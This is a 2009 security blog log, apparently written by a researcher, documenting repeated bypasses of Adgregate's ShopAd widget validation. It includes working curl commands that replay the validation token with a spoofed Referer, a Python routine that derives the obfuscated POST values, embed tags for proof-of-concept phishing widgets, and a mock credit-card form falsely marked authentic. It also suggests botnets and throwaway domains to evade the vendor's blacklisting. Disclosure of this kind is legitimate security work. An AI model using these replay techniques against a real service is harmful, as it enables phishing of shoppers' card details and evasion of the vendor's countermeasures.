Adgregate ShopAd widget validation

Adgregate seems to change their ShopAd widget validation scheme every few days (always shortly after I post an attack here). Rather than just updating this page with the latest fix, I've decided to start keeping a log of how their system works and corresponding attacks to break it.

April 11, 2009

The system is roughly the same as April 10, 2009; the client still fetches a token from /validatewidget.aspx?wid=1, but now it POSTs slightly different data to the validation URL and needs to append some extra randomness to the URL:

$ curl -s -e https://secure.adgregate.com/ -d widgetvalid=0DEC43204C-8D158ED39 https://secure.adgregate.com/AuthenticWidget.aspx?CCD-3 | grep authentic | tr -d '\011'
<p><span id="valid" class="grey_text">This widget has been certified as an authentic ShopAd. Shop confidently and securely with ShopAds<sup>TM</sup>.<br/><br/>Secure ShopAds<sup>TM</sup> widgets are always hosted on https://secure.adgregate.com</span>

I haven't figured out yet how the new POST data and query string are derived from the widgetvalidation data. However, this isn't necessary since their system still does not use any replay attack protection.

Update (11:21:57 AM PDT): I've figured out the derivation scheme. The widgetvalid value included in the POST request entity body is made up of characters 3, 7, 9, 10, 14, 15, 22, 25, 29, 33, 44, 45, 48, 52, 56, 58, 63, 65, 70, 71, while the string appended to the query string is made up of characters 2, 4, 7, 8, 15. Here's an example Python program:

def derive(key):
    def f(offsets):
        return ''.join(key[i] for i in offsets)
    return (f([3,7,9,10,14,15,22,25,29,33,44,45,48,52,56,58,63,65,70,71]),
            f([2,4,7,8,15]))

Example use (using the validation key corresponding to the above curl request):

>>> derive('39C0CD1D-ECDE-431A-B602-E0F9E40E3CBEE2FA87F7-8FBD-4713-9508-BB9E4DCF27395B908D19-9B6C-4D66-880E-2F80E03A2D1B')
('0DEC43204C-8D158ED39', 'CCD-3')

(Solving a puzzle like this is a standard high school or college programming competition problem. It took about half an hour to solve, mostly just because adgregate has changed to regenerating their keys only every 15 minutes, and I needed 3 samples to solve it.)

Update (11:36:07 AM PDT): I've updated my proof-of-concept widget again:

Again, the attack won't work on this page because adgregate blacklists dempsky.org from the HTTP Referer header, but feel free to embed the SWF on another site using:

<embed src="https://shinobi.dempsky.org/~matthew/misc/Badgregate2.swf" height="100" width="100">

Also, see below for other browser caveats (e.g., Safari).

April 10, 2009

Adgregate does some additional weak security checks (e.g., they've blacklisted my server's IP address from talking to their web server, and also blacklisted "dempsky.org" from appearing in the HTTP Referer header), but these don't protect users from attackers that Adgregate doesn't yet know about.

Another fun fact that cryptographers should appreciate: TOKEN used to be a single fixed string (1w23e4r5-ijhyffrd). Sometime after I first put up this webpage, they they changed it to a UUID regenerated every 5 minutes. Sometime after that, they changed it to 3 UUIDs concatenated together and regenerated every 5 minutes. (The process has not otherwise changed.)

The page below was originally built to regenerate every 5 minutes with a new key fetched from my server. This broke when they blacklisted my server from fetching new keys, but an actual malicious attacker would probably have access to a botnet and be able to farm out key requests.

Also, they don't allow requests to come from dempsky.org, but an attacker could buy a large number of throwaway domain names (e.g., from godaddy for $1.99) that adgregate hasn't blacklisted yet.

Finally, here's an updated proof-of-concept attack:

This attack won't work on this page, because dempsky.org is blacklisted from HTTP Referers, but feel free to embed the SWF on another site using:

<embed src="https://shinobi.dempsky.org/~matthew/misc/Badgregate.swf" height="100" width="100">

This attack works at least for Firefox users because Firefox sets the HTTP Referer to the HTML page that referred them, but Safari sets it to the SWF (I haven't tested IE or other browsers yet). If you want to run your own test with Safari, you'll have to host the Badgregate.swf yourself on an HTTPS site.

Feel free to email me for more details about this attack at matthew@dempsky.org.


Older content

Powered by Adgregate!

Please enter your billing information below:

Name:               
Address:            
Credit Card Number: 
Expiration Date:    
CCV (back of card): 

Oh, not sure this is legit? Don't worry, click the button below and validate it!

[doesn't work anymore; see below]


Quick explanation: Adgregate has a single active "widgetvalid" UUID at a time. This UUID is regenerated every 5 minutes, aligned with the hour, and the current UUID is easily requested by running:

$ curl https://secure.adgregate.com/validatewidget.aspx?wid=1
&validation=D1731A24-6DC2-45BC-B10B-6BA9FBA769F9

This page was last regenerated at: Wed Apr 8 04:15:06 PDT 2009

Update (2009.04.08 1:23:20 AM PDT): It looks like adgregate has changed the mechanism again. The updated mechanism has caused even legitimate widgets to fail, e.g. the one here.

Update (2009.04.08 1:30:22 AM PDT): Oh, they seem to have simply blacklisted the HTTP Referer field value from matching the regular expression "http.*dempsky\.org":

$ TOKEN=$(curl -s https://secure.adgregate.com/validatewidget.aspx?wid=1 | sed -e 's/^.*=//')
$ curl -s -e http://dempsky.org -d widgetvalid=$TOKEN https://secure.adgregate.com/AuthenticWidget.aspx | grep secure.adgregate.com
<h2>Object moved to <a href='https://secure.adgregate.com/NOTAuthenticWidget.aspx'>here</a>.</h2>
$ curl -s -e burlap -d widgetvalid=$TOKEN https://secure.adgregate.com/AuthenticWidget.aspx | grep secure.adgregate.com | tr -d '\011'
<p><span id="valid" class="grey_text">This widget has been certified as an authentic ShopAd. Shop confidently and securely with ShopAds<sup>TM</sup>.<br/><br/>Secure ShopAds<sup>TM</sup> widgets are always hosted on https://secure.adgregate.com</span>

Update (2009.04.08 2:25:00 AM PDT): Validation mechanism updated again. Form was still working at http://70.85.31.66/~matthew/adgregate.html for a while, until...

Update (2009.04.08 4:20:00 AM PDT): My VPS's IP address was blacklisted from contacting their servers and from appearing in the HTTP Referer field. However, their users are still vulnerable to phishing attacks.